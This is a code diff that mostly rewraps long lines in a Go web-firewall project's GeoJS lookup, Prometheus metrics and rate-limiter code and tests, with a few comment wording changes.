 		wantAlerts(t, queue, alerts.Alert{
@@ -289,7 +317,11 @@ func writeDatabase(t *testing.T, path, country string) {
 	t.Helper()
 
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
-		testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
+		testNetblock: {
+			ASN:     "AS64496",
+			ASName:  "Example Net",
+			Country: country,
+		},
 	})
 }
 
@@ -349,7 +381,8 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
 	t.Helper()
 
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
-	if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
+	if len(waiting) != len(want) ||
+		(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
 		t.Errorf("alerts waiting %+v, want %+v", waiting, want)
 	}
 

internal/lookup/lookup.go

@@ -74,7 +74,7 @@ type Params struct {
 	// Answered, unless nil, is given each answer GeoJS gives, once it is
 	// kept.
 	Answered func(Answer)
-	// Now tells the time, normally time.Now.
+	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
 	// ProcessLog receives GeoJS's failures.
 	ProcessLog *slog.Logger
@@ -211,7 +211,10 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
 
 // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
 // whatever Wait says: it returns the zero Answer at once when none is kept.
-func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
+func (g *GeoJS) LookUpWithoutWaiting(
+	ctx context.Context,
+	client netip.Prefix,
+) Answer {
 	answer, _ := g.answerOrWait(ctx, client, false)
 
 	return answer
@@ -429,14 +432,21 @@ func (g *GeoJS) keep(
 	}
 
 	if err == nil && leftOut > 0 {
-		err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
+		err = fmt.Errorf(
+			"%w %d of %d addresses",
+			errLeftOut,
+			leftOut,
+			len(clients),
+		)
 	}
 
 	if err != nil {
 		g.metrics.GeoJSFailures.Inc()
 
-		g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
-			maxRetryDelay)
+		g.retryDelay = min(
+			max(retryDelayFactor*g.retryDelay, firstRetryDelay),
+			maxRetryDelay,
+		)
 		g.retryAt = now.Add(g.retryDelay)
 		g.asking = false
 
@@ -482,7 +492,12 @@ func (g *GeoJS) request(
 	ctx, cancel := context.WithTimeout(ctx, g.timeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		g.url,
+		http.NoBody,
+	)
 	if err != nil {
 		return nil, fmt.Errorf("make the request to GeoJS: %w", err)
 	}
@@ -514,7 +529,8 @@ func (g *GeoJS) request(
 		CountryCode string `json:"country_code"`
 	}
 
-	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
+	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
+		Decode(&answers)
 	if err != nil {
 		return nil, fmt.Errorf("read GeoJS's answer: %w", err)
 	}

internal/lookup/lookup_test.go

@@ -85,8 +85,13 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
 		began := time.Now()
 		answer := g.LookUpWithoutWaiting(t.Context(), client)
 
-		if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
-			t.Errorf("got %+v after %s, want no answer at once", answer, waited)
+		if waited := time.Since(began); waited != 0 ||
+			answer != (lookup.Answer{}) {
+			t.Errorf(
+				"got %+v after %s, want no answer at once",
+				answer,
+				waited,
+			)
 		}
 
 		waitForRequests(t, geojs, 1)
@@ -100,7 +105,11 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
 		waitForCountry(t, g, clock, client, germany)
 
 		if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
-			t.Errorf("the kept answer gives the country %q, want %q", got, germany)
+			t.Errorf(
+				"the kept answer gives the country %q, want %q",
+				got,
+				germany,
+			)
 		}
 	})
 }
@@ -120,7 +129,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 
 		var earlier sync.WaitGroup
 
-		earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
+		earlier.Go(
+			func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
+		)
 		defer earlier.Wait()
 
 		waitForRequests(t, geojs, 1)
@@ -152,7 +163,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 	})
 }
 
-func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
+func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -197,7 +210,11 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
 		synctest.Wait()
 
 		if waited != longerTimeout {
-			t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
+			t.Errorf(
+				"waited %s for the answer, want %s",
+				waited,
+				longerTimeout,
+			)
 		}
 
 		wantFailures(t, m, 1)
@@ -340,7 +357,11 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
 
 		got := g.LookUp(t.Context(), client)
 		if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
-			t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
+			t.Errorf(
+				"waited %s for %+v, want no wait and no answer",
+				took,
+				got,
+			)
 		}
 
 		waitForRequests(t, geojs, 1)
@@ -391,7 +412,10 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged, "asking GeoJS failed") ||
 			strings.Contains(logged, "203.0.113.9") {
-			t.Errorf("logged %q, want the failure without the address asked about", logged)
+			t.Errorf(
+				"logged %q, want the failure without the address asked about",
+				logged,
+			)
 		}
 	})
 }
@@ -430,7 +454,10 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
 		}
 
 		if queue.Suppressed() != 1 {
-			t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+			t.Errorf(
+				"%d alerts held back, want the repeat",
+				queue.Suppressed(),
+			)
 		}
 	})
 }
@@ -454,11 +481,21 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
 		clock.advance(time.Second)
 		wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
 		wantRequests(t, geojs, 2)
-		wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
+		wantAsked(
+			t,
+			geojs,
+			1,
+			"203.0.113.1",
+			"203.0.113.2",
+			"2001:db8:1:2::",
+			"203.0.113.3",
+		)
 	})
 }
 
-func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
+func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -503,7 +540,10 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing
 
 		asked := waitForRequests(t, geojs, requests+1)
 		if len(asked[requests]) != 23 {
-			t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
+			t.Errorf(
+				"GeoJS was asked about %d clients, want 23",
+				len(asked[requests]),
+			)
 		}
 	})
 }
@@ -531,8 +571,11 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
 
 		asked := waitForRequests(t, geojs, 3)
 		if len(asked[1]) != 200 || len(asked[2]) != 1 {
-			t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
-				len(asked[1]), len(asked[2]))
+			t.Errorf(
+				"GeoJS was asked about %d and then %d clients, want 200 and 1",
+				len(asked[1]),
+				len(asked[2]),
+			)
 		}
 	})
 }
@@ -687,7 +730,11 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 
 		switch {
 		case addr == unplaced:
-			item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
+			item = map[string]any{
+				"ip":                addr,
+				"asn":               64512,
+				"organization_name": "Unknown",
+			}
 		case addr == leftOut && answers == answeringWithoutLeftOut:
 			continue
 		case answers == answeringInLowerCase:
@@ -804,7 +851,12 @@ func newClients() func() netip.Prefix {
 }
 
 // wantCountry checks the country g gives client.
-func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
+func wantCountry(
+	t *testing.T,
+	g *lookup.GeoJS,
+	client netip.Prefix,
+	want string,
+) {
 	t.Helper()
 
 	got := g.LookUp(t.Context(), client).Country
@@ -843,7 +895,11 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
 
 // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
 // gone without an answer from GeoJS.
-func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
+func wantRequestsWithoutGeoJSAnswer(
+	t *testing.T,
+	m *metrics.Metrics,
+	want float64,
+) {
 	t.Helper()
 
 	got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
@@ -883,7 +939,11 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
 // It then checks that client's next request does not wait but has it asked
 // about again in the background, after which g gives it the country want.
 func waitForCountry(
-	t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
+	t *testing.T,
+	g *lookup.GeoJS,
+	clock *testClock,
+	client netip.Prefix,
+	want string,
 ) {
 	t.Helper()
 

internal/lookup/lookuptest/lookuptest.go

@@ -45,7 +45,11 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
 
 // WriteRecords writes a lookup database at path that holds each record in
 // records for its netblock, and nothing for any other address.
-func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
+func WriteRecords(
+	tb testing.TB,
+	path string,
+	records map[string]mmdbtype.Map,
+) {
 	tb.Helper()
 
 	tree, err := mmdbwriter.New(mmdbwriter.Options{

internal/lookup/snapshot_test.go

@@ -59,7 +59,10 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
 	g.Load([]lookup.Answer{kept, stale})
 
 	if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
-		t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
+		t.Errorf(
+			"kept %+v, want only the answer GeoJS gave less than 7 days ago",
+			got,
+		)
 	}
 
 	wantCountry(t, g, kept.Client, "FR")

internal/metrics/busiest.go

@@ -41,9 +41,11 @@ type busiest struct {
 // for the topN busiest countries.
 func newCountries(topN int) *busiest {
 	countries := newBusiest(topN, "country", "the client's country")
-	countries.refused = counterVec("sww_country_list_refusals_total",
+	countries.refused = counterVec(
+		"sww_country_list_refusals_total",
 		"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
-		[]string{"country"})
+		[]string{"country"},
+	)
 
 	return countries
 }
@@ -90,7 +92,11 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
 // vecs returns the metrics: by AS number, those of requests and bytes; by
 // country, the refusals by the country list as well.
 func (b *busiest) vecs() []*prometheus.CounterVec {
-	vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
+	vecs := []*prometheus.CounterVec{
+		b.requests,
+		b.requestBytes,
+		b.responseBytes,
+	}
 	if b.refused != nil {
 		vecs = append(vecs, b.refused)
 	}

internal/metrics/metrics.go

@@ -79,14 +79,19 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_requests_in_flight",
 			Help: "Requests under way.",
 		}),
-		requests: counterVec("sww_requests_total",
-			"Requests, by the class of their status and their action.", byStatus),
+		requests: counterVec(
+			"sww_requests_total",
+			"Requests, by the class of their status and their action.",
+			byStatus,
+		),
 		requestBytes: counterVec("sww_request_bytes_total",
 			"Request body bytes, by the class of the status and the action.",
 			byStatus),
-		responseBytes: counterVec("sww_response_bytes_total",
+		responseBytes: counterVec(
+			"sww_response_bytes_total",
 			"Response body bytes, by the class of the status and the action.",
-			byStatus),
+			byStatus,
+		),
 		requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
 			Name: "sww_request_duration_seconds",
 			Help: "How long requests took, from their arrival to their end.",
@@ -95,15 +100,20 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_upstream_duration_seconds",
 			Help: "How long requests passed to the app took, from then to their end.",
 		}),
-		rateLimitHits: counterVec("sww_rate_limit_hits_total",
+		rateLimitHits: counterVec(
+			"sww_rate_limit_hits_total",
 			"Requests that broke a rate limit, a byte limit or the error burst, by "+
 				"its window and its kind, requests, bytes or refusals.",
-			[]string{"window", "kind"}),
+			[]string{"window", "kind"},
+		),
 		offences: counterVec("sww_offences_total",
 			"Offences, by kind.", []string{"kind"}),
-		coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
+		coreRuleSetMatches: counterVec(
+			"sww_core_rule_set_matches_total",
 			"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
-				"and the rule's id.", []string{"mode", "rule_id"}),
+				"and the rule's id.",
+			[]string{"mode", "rule_id"},
+		),
 		countries: newCountries(topN),
 		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -114,24 +124,41 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_geojs_failures_total",
 			Help: "Requests to GeoJS that failed.",
 		}),
-		RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
-			Name: "sww_requests_without_geojs_answer_total",
-			Help: "Requests that needed their client's answer from GeoJS and " +
-				"went on without it, because GeoJS had not given it in time.",
-		}),
+		RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
+			prometheus.CounterOpts{
+				Name: "sww_requests_without_geojs_answer_total",
+				Help: "Requests that needed their client's answer from GeoJS and " +
+					"went on without it, because GeoJS had not given it in time.",
+			},
+		),
 		stateFileWrites: counterVec("sww_state_file_writes_total",
-			"Writes of each state file.", byFile),
-		stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
-			"Writes of each state file that failed.", byFile),
-		stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
-			"When each state file was last written, in seconds since 1970.", byFile),
-		stateFileSize: gaugeVec("sww_state_file_size_bytes",
-			"The size of each state file, as it was last written.", byFile),
-		stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
-			"Edits of each state file taken in while running.", byFile),
-		stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
-			"Edits of each state file renamed to <name>.bad because they did not parse.",
-			byFile),
+			"Writes of each state or cache file.", byFile),
+		stateFileWriteFailures: counterVec(
+			"sww_state_file_write_failures_total",
+			"Writes of each state or cache file that failed.",
+			byFile,
+		),
+		stateFileLastWrite: gaugeVec(
+			"sww_state_file_last_write_timestamp_seconds",
+			"When each state or cache file was last written, in seconds since 1970.",
+			byFile,
+		),
+		stateFileSize: gaugeVec(
+			"sww_state_file_size_bytes",
+			"The size of each state or cache file, as it was last written.",
+			byFile,
+		),
+		stateFileEditsTakenIn: counterVec(
+			"sww_state_file_edits_taken_in_total",
+			"Edits of each state or cache file taken in while running.",
+			byFile,
+		),
+		stateFileEditsSetAside: counterVec(
+			"sww_state_file_edits_set_aside_total",
+			"Edits of each state or cache file renamed to <name>.bad because they "+
+				"did not parse.",
+			byFile,
+		),
 	}
 
 	m.registry.MustRegister(
@@ -160,13 +187,15 @@ func (m *Metrics) AddBansAndClients(
 	for _, cause := range []string{
 		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
 	} {
-		m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
-			Name:        "sww_bans_made_total",
-			Help:        "Bans made, by cause.",
-			ConstLabels: prometheus.Labels{"cause": cause},
-		}, func() float64 {
-			return float64(ledger.Made(cause))
-		}))
+		m.registry.MustRegister(
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name:        "sww_bans_made_total",
+				Help:        "Bans made, by cause.",
+				ConstLabels: prometheus.Labels{"cause": cause},
+			}, func() float64 {
+				return float64(ledger.Made(cause))
+			}),
+		)
 	}
 
 	m.registry.MustRegister(
@@ -200,9 +229,11 @@ func (m *Metrics) AddBansAndClients(
 // ruleFiles, read as the metrics are asked for. It is called once, before
 // RuleMatched.
 func (m *Metrics) AddRules(ruleFiles *rules.Files) {
-	m.ruleMatches = counterVec("sww_rule_matches_total",
+	m.ruleMatches = counterVec(
+		"sww_rule_matches_total",
 		"Requests that matched a rule of the rule files, by its id and action.",
-		[]string{"rule_id", "action"})
+		[]string{"rule_id", "action"},
+	)
 
 	m.registry.MustRegister(m.ruleMatches,
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
@@ -245,7 +276,10 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
 // returns, and the replacements of it that could not be read, which
 // readFailures returns. The lookup package's File, which has both, cannot
 // be named here: that package counts GeoJS's requests in these metrics.
-func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
+func (m *Metrics) AddLookupFile(
+	lastRead func() time.Time,
+	readFailures func() int,
+) {
 	m.registry.MustRegister(
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 			Name: "sww_lookup_database_last_read_timestamp_seconds",
@@ -274,24 +308,38 @@ const sourceLabel = "source"
 // metrics are asked for, for a list, the fetches that failed and when the
 // copy in use was fetched, and for a zone, the queries made and those that
 // failed. It is called once, before ReputationHit.
-func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
-	m.reputationHits = counterVec("sww_reputation_hits_total",
+func (m *Metrics) AddReputation(
+	lists *reputation.Lists,
+	dnsbl *reputation.DNSBL,
+) {
+	m.reputationHits = counterVec(
+		"sww_reputation_hits_total",
 		"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
 			"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
-		[]string{sourceLabel})
+		[]string{sourceLabel},
+	)
 	m.registry.MustRegister(m.reputationHits)
 
 	for _, zone := range dnsbl.Zones() {
 		source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
 
-		m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
-		m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
+		m.addReputationQueries(
+			source,
+			func() int { return dnsbl.Queries(zone) },
+		)
+		m.addReputationFailures(
+			source,
+			func() int { return dnsbl.Failures(zone) },
+		)
 	}
 
 	for _, listURL := range lists.URLs() {
 		source := prometheus.Labels{sourceLabel: listURL}
 
-		m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
+		m.addReputationFailures(
+			source,
+			func() int { return lists.Failures(listURL) },
+		)
 		m.registry.MustRegister(
 			prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 				Name: "sww_reputation_last_fetch_timestamp_seconds",
@@ -393,7 +441,10 @@ func (m *Metrics) RequestStarted() {
 
 // RequestEnded counts a request that has ended without being passed to the app,
 // from its log line. duration is how long the request took.
-func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
+func (m *Metrics) RequestEnded(
+	line *requestlog.Line,
+	duration time.Duration,
+) {
 	m.inFlight.Dec()
 	m.count(line, duration, 0)
 }
@@ -447,8 +498,8 @@ func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
 	m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
 }
 
-// StateFileWritten counts a write of the state file name, of size bytes,
-// that ended with err.
+// StateFileWritten counts a write of the state or cache file name, of size
+// bytes, that ended with err.
 func (m *Metrics) StateFileWritten(name string, size int, err error) {
 	m.stateFileWrites.WithLabelValues(name).Inc()
 
@@ -466,13 +517,13 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
 	m.stateFileSize.WithLabelValues(name).Set(float64(size))
 }
 
-// StateFileEditTakenIn counts an admin's edit of the state file name
+// StateFileEditTakenIn counts an admin's edit of the state or cache file name
 // taken in while sww runs.
 func (m *Metrics) StateFileEditTakenIn(name string) {
 	m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
 }
 
-// StateFileEditSetAside counts an admin's edit of the state file name
+// StateFileEditSetAside counts an admin's edit of the state or cache file name
 // renamed to name.bad because it did not parse.
 func (m *Metrics) StateFileEditSetAside(name string) {
 	m.stateFileEditsSetAside.WithLabelValues(name).Inc()
@@ -485,8 +536,10 @@ func (m *Metrics) count(
 ) {
 	class := statusClass(line.Status)
 	m.requests.WithLabelValues(class, line.Action).Inc()
-	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
-	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
+	m.requestBytes.WithLabelValues(class, line.Action).
+		Add(float64(line.RequestBytes))
+	m.responseBytes.WithLabelValues(class, line.Action).
+		Add(float64(line.ResponseBytes))
 	m.requestDuration.Observe(duration.Seconds())
 
 	if upstreamDuration > 0 {
@@ -504,7 +557,10 @@ func (m *Metrics) count(
 
 // addReputationQueries adds the counter of the queries to source, a DNSBL
 // zone, or of the checks of clients with AbuseIPDB, which count tells.
-func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
+func (m *Metrics) addReputationQueries(
+	source prometheus.Labels,
+	count func() int,
+) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name:        "sww_reputation_queries_total",
 		Help:        "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
@@ -517,7 +573,10 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
 // addReputationFailures adds the counter of the fetches of source, a
 // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
 // that failed, which count tells.
-func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
+func (m *Metrics) addReputationFailures(
+	source prometheus.Labels,
+	count func() int,
+) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name: "sww_reputation_failures_total",
 		Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
@@ -544,12 +603,17 @@ func statusClass(status int) string {
 // counterVec returns a counter named name, described by help, with a
 // series for each set of values of labels.
 func counterVec(name, help string, labels []string) *prometheus.CounterVec {
-	return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
-		labels)
+	return prometheus.NewCounterVec(
+		prometheus.CounterOpts{Name: name, Help: help},
+		labels,
+	)
 }
 
 // gaugeVec returns a gauge named name, described by help, with a series
 // for each set of values of labels.
 func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
-	return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
+	return prometheus.NewGaugeVec(
+		prometheus.GaugeOpts{Name: name, Help: help},
+		labels,
+	)
 }

internal/ratelimit/history_test.go

@@ -27,7 +27,11 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
 		// refused.
 		{Status: 404},
 	} {
-		limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
+		limiter.AddToHistory(
+			client,
+			start.Add(time.Duration(i)*time.Minute),
+			r,
+		)
 	}
 
 	want := ratelimit.History{
@@ -63,7 +67,13 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
 
 	// A later answer replaces it, and one for a client the table does not
 	// hold adds no client.
-	limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
+	limiter.AddLookup(
+		client,
+		start.Add(time.Hour),
+		"AS64497",
+		"Other Net",
+		"FR",
+	)
 	limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
 
 	want := ratelimit.History{
@@ -96,7 +106,11 @@ func TestResetKeepsTheHistory(t *testing.T) {
 
 	for range limit {
 		wantCount(t, limiter, client, start, "")
-		limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
+		limiter.AddToHistory(
+			client,
+			start,
+			ratelimit.Request{Forwarded: true},
+		)
 	}
 
 	limiter.Reset(client)

internal/ratelimit/ratelimit.go

@@ -92,7 +92,7 @@ type History struct {
 	ASName   string    `json:"as_name,omitempty"`
 	Country  string    `json:"country,omitempty"`
 	LookedUp time.Time `json:"looked_up,omitzero"`
-	// Requests are all the client's requests: Forwarded those discriminator allowed,
+	// Requests are all the client's requests: Forwarded those waf allowed,
 	// Refused those it refused, and neither those for a path under
 	// /_sww/.
 	Requests  int64 `json:"requests"`
@@ -136,7 +136,7 @@ type Offences struct {
 
 // Request is what a client's history keeps of one of its requests.
 type Request struct {
-	// Forwarded is true for a request discriminator allowed, and Refused for one it
+	// Forwarded is true for a request waf allowed, and Refused for one it
 	// refused. Both are false for a request for a path under /_sww/.
 	Forwarded bool
 	Refused   bool
@@ -241,7 +241,8 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
 	buckets := c.buckets()
 
 	for i, w := range l.windows {
-		if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
+		if w.limit > 0 &&
+			buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
 			return true
 		}
 	}
@@ -271,7 +272,12 @@ func (l *Limiter) CountRefusal(
 	defer l.mu.Unlock()
 
 	count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
-	hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
+	hit := Hit{
+		Kind:   KindRefusals,
+		Window: "minute",
+		Limit:  threshold,
+		Count:  count,
+	}
 
 	return hit, count > float64(threshold)
 }
@@ -292,7 +298,11 @@ func (l *Limiter) Reset(client netip.Prefix) {
 
 // AddToHistory adds r, a request from client at now, to the client's
 // history.
-func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
+func (l *Limiter) AddToHistory(
+	client netip.Prefix,
+	now time.Time,
+	r Request,
+) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
@@ -470,7 +480,13 @@ func (l *Limiter) count(
 	for i, w := range l.windows {
 		requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
 		byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
-		limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
+		limit, byteLimit := percentOf(
+			w.limit,
+			percent,
+		), percentOf(
+			w.byteLimit,
+			percent,
+		)
 
 		switch {
 		case hit.Window != "":

internal/ratelimit/ratelimit_test.go

@@ -26,13 +26,17 @@ const (
 	hour   = "hour"
 )
 
-func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
+func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	now := midnight()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
-		tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
+		tableSize,
+	)
 
 	if limiter.OverARateLimit(client, now) {
 		t.Error("a client never seen is over a rate limit")
@@ -44,7 +48,9 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
 
 	for range limit {
 		if limiter.OverARateLimit(client, now) {
-			t.Error("a client with room for another request is over a rate limit")
+			t.Error(
+				"a client with room for another request is over a rate limit",
+			)
 		}
 
 		wantCount(t, limiter, client, now, "")
@@ -56,7 +62,11 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
 
 	held, _ := limiter.Client(client)
 	if held.Minute.Current != limit {
-		t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
+		t.Errorf(
+			"the client's minute holds %d requests, want %d",
+			held.Minute.Current,
+			limit,
+		)
 	}
 
 	wantCount(t, limiter, client, now, minute)
@@ -99,7 +109,13 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 			// A quarter into the next bucket, the window still covers three
 			// quarters of the bucket before, with its four requests: 3 + 1
 			// is over the limit.
-			wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
+			wantCount(
+				t,
+				limiter,
+				client,
+				start.Add(tc.length+quarter),
+				tc.window,
+			)
 
 			// Three quarters into it, a quarter: 1 + 2 is within.
 			wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
@@ -110,7 +126,10 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: limit, PerHour: limit},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -128,16 +147,22 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 		Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
 	}
 	if !over || hit != want {
-		t.Errorf("request over the limit gives %+v and %t, want %+v and true",
-			hit, over, want)
+		t.Errorf(
+			"request over the limit gives %+v and %t, want %+v and true",
+			hit,
+			over,
+			want,
+		)
 	}
 }
 
